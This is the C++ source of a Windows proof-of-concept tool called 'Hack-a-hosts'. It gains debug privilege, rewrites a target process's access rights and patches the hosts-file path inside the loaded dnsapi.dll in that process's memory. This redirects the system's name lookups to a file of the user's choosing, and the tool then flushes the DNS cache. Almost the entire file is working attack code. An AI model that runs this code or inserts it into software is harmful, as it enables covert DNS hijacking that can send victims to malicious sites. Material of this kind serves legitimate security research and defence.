// // \drivers\etc\hosts switcher PoC // code by gynvael.coldwind//vx // // // Preprocessor // #define _WIN32_WINNT 0x600 #include #include #include #include #include #include #include #ifndef SDDL_REVISION_1 # define SDDL_REVISION_1 1 #endif // // Namespace // using namespace std; // // Functions // DWORD FindInMemory(const void *Where, DWORD Size, const void *Seeked, DWORD SeekedSize); bool AcquirePrivilege(const char *PrivilegeName, bool Enable); bool AccessProcess(HANDLE hProcess); char* GetCurrentUserSid(); // XXX: Comment this if you have this already defined extern "C" __declspec(dllimport) BOOL WINAPI ConvertStringSecurityDescriptorToSecurityDescriptorA( IN LPCSTR StringSecurityDescriptor, IN DWORD StringSDRevision, OUT PSECURITY_DESCRIPTOR *SecurityDescriptor, OUT PULONG SecurityDescriptorSize OPTIONAL ); extern "C" __declspec(dllimport) BOOL WINAPI ConvertSidToStringSidA(PSID Sid, LPTSTR* StringSid); // // main // int main(int argc, char **argv) { // Banner puts("Hack-a-hosts PoC by gynvael.coldwind//vx"); // Args ? if(argc != 3) { puts("usage: hack "); puts("remark: the should be relative to the system32 directory\n" " and have at max 19 chars; for example: \"\\..\\..\\progra~1\\xy\""); return 1; } // Get PID DWORD PID; if(sscanf(argv[1], "%i", (int*)&PID) != 1) { puts("error: invalid PID format (use prefix 0x for hex, or no prefix for dec)"); return 2; } // Get new path const char *NewPath = argv[2]; if(strlen(NewPath) > 19) { puts("error: new path to long, see usage for details"); return 2; } // Get debug priv if(!AcquirePrivilege(SE_DEBUG_NAME, true)) puts("warning: could not get debug priv (this is a bad sign)"); // Open Process printf("[*] Opening process %i...\t", (int)PID); HANDLE hProcFirst = OpenProcess(PROCESS_DUP_HANDLE | WRITE_DAC , FALSE, PID); if(hProcFirst == NULL) { printf("ERROR\n" "error: could not open process (first, %i)\n", (int)GetLastError()); return 3; } // Set DACL to be able to access the process if(!AccessProcess(hProcFirst)) { printf("ERROR\n" "error: could not set privs\n"); return 4; } // Change handle properties DWORD Privs = PROCESS_VM_READ | // ReadProcessMemory, EnumProcessModules PROCESS_VM_WRITE | // WriteProcessMemory PROCESS_VM_OPERATION | // WriteProcessMemory PROCESS_QUERY_INFORMATION; // EnumProcessModules HANDLE hProcess = NULL; if(!DuplicateHandle(GetCurrentProcess(), hProcFirst, GetCurrentProcess(), &hProcess, Privs, FALSE, DUPLICATE_CLOSE_SOURCE)) { printf("ERROR\n" "error: could not duplicate handle (%i)\n", (int)GetLastError()); return 3; } puts("OK"); // Enumerate the modules printf("[*] Looking for dnsapi.dll...\t"); static HINSTANCE hMods[1024]; // Waaaay to much... DWORD NumberOfMods; if(!EnumProcessModules(hProcess, hMods, sizeof(hMods), &NumberOfMods)) { printf("ERROR\n" "error: could not enumerate modules (%i)\n", (int)GetLastError()); return 4; } // Craft dnsapi path char DnsApiPath[MAX_PATH]; ExpandEnvironmentStrings("%SystemRoot%\\system32\\dnsapi.dll", DnsApiPath, sizeof(DnsApiPath)); // Look for dnsapi.dll DWORD i; PVOID DnsApiAddr = NULL; NumberOfMods /= sizeof(HANDLE); for(i = 0; i < NumberOfMods; i++) { char ModName[MAX_PATH]; *ModName = 0; GetModuleFileNameEx(hProcess, hMods[i], ModName, sizeof(ModName)); if(stricmp(ModName, DnsApiPath) == 0) { DnsApiAddr = (PVOID)hMods[i]; break; } } // Found ? if(DnsApiAddr == NULL) { printf("ERROR\n" "error: could not find DnsApi.dll in process module list\n"); return 5; } printf("%.8x\n", (unsigned int)DnsApiAddr); // Look for \drivers\etc\hosts // \..\..\progra~1\xx // (in this process ;>) printf("[*] Looking for hosts path...\t"); HINSTANCE hDnsApi = LoadLibrary(DnsApiPath); if(!hDnsApi) { printf("ERROR\n" "error: could not load dnsapi.dll (%i)\n", (int)GetLastError()); return 6; } // Get the size of this dll IMAGE_DOS_HEADER *DosHeader = (IMAGE_DOS_HEADER*)hDnsApi; IMAGE_NT_HEADERS *NtHeaders = (IMAGE_NT_HEADERS*)((PBYTE)hDnsApi + DosHeader->e_lfanew); DWORD DnsApiSize = NtHeaders->OptionalHeader.SizeOfImage; DWORD StringOffset = FindInMemory((PVOID)hDnsApi, DnsApiSize, "\\drivers\\etc\\hosts", 19); if(StringOffset == 0xFFFFFFFF) { printf("ERROR\n" "error: could not find string in memory\n"); return 7; } printf("%.8x\n", (unsigned int)StringOffset); // Change it printf("[*] Changing path...\t\t"); if(!WriteProcessMemory(hProcess, (PBYTE)DnsApiAddr + StringOffset, NewPath, strlen(NewPath) + 1, NULL)) { printf("ERROR\n" "error: could not write to memory (%i)\n", (int)GetLastError()); return 8; } puts("OK"); // Close CloseHandle(hProcess); // Flush cache printf("[*] Flushing DNS cache...\t"); void (__stdcall *pDnsFlushResolverCache)(void); pDnsFlushResolverCache = (void(__stdcall *)(void))GetProcAddress(hDnsApi, "DnsFlushResolverCache"); if(!pDnsFlushResolverCache) { printf("WARNING\n" "warning: could not flush DNS cache, run ipconfig /flushdns manually\n"); return 9; } // Flush! pDnsFlushResolverCache(); puts("OK"); // Free lib FreeLibrary(hDnsApi); // Done! puts("It has been done."); // Done return 0; } // // FindInMemory // DWORD FindInMemory(const void *Where, DWORD Size, const void *Seeked, DWORD SeekedSize) { DWORD i; for(i = 0; i <= Size - SeekedSize; i++) if(memcmp((PBYTE)Where + i, Seeked, SeekedSize) == 0) return i; return 0xFFFFFFFF; } // // AcquirePrivilege // bool AcquirePrivilege(const char *PrivilegeName, bool Enable) { // Open process token HANDLE hToken = NULL; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { // Write out an error fprintf(stderr, "Error: Could not open own token (%i)\n", GetLastError()); // Return return false; } // Lookup privilege LUID Luid; if(!LookupPrivilegeValue(NULL, PrivilegeName, &Luid)) { // Write out an error fprintf(stderr, "Error: Could not find privilege name (%i)\n", GetLastError()); // Close handle before returning CloseHandle(hToken); // Return return false; } // Setup structure TOKEN_PRIVILEGES TokenPrivs; TokenPrivs.PrivilegeCount = 1; TokenPrivs.Privileges[0].Luid = Luid; TokenPrivs.Privileges[0].Attributes = Enable ? SE_PRIVILEGE_ENABLED : 0; // Adjust! if(!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivs, sizeof(TokenPrivs), NULL, NULL) || GetLastError() != ERROR_SUCCESS) { // Issue a warning, but do not return fprintf(stderr, "Warning: Could not acquire SeDebugPrivilege (%i)\n", GetLastError()); } // Close handle CloseHandle(hToken); // Done! return true; } // AccessProcess bool AccessProcess(HANDLE hProcess) { // Some variables SECURITY_DESCRIPTOR *SecDesc; // DACL for your application. char DACLString[128]; snprintf(DACLString, sizeof(DACLString), "D:(OA;;GAGWGRGX;;;%s)", GetCurrentUserSid()); // Convert string if(!ConvertStringSecurityDescriptorToSecurityDescriptorA(DACLString, SDDL_REVISION_1, &SecDesc, NULL)) return false; // Set security BOOL Res = SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, SecDesc); LocalFree(SecDesc); if(!Res) return false; // Blah // Good! return true; } // Get SID string (code by j00ru//vx) char* GetCurrentUserSid() { // Some variables static char UserName[256]; DWORD UserNameSize = 256; BYTE Sid[1024],ReferencedDomainName[1024]; DWORD SidSize = sizeof(Sid); DWORD cchReferencedDomainName = sizeof(ReferencedDomainName); SID_NAME_USE peUse; char* StringSid; // Get the current user name if(GetUserName(UserName, &UserNameSize) == FALSE) return NULL; // Get SID if(LookupAccountName(NULL, UserName, (SID*)Sid, &SidSize, (char*)ReferencedDomainName, &cchReferencedDomainName, &peUse) == FALSE) return NULL; ConvertSidToStringSidA((SID*)Sid,&StringSid); return StringSid; }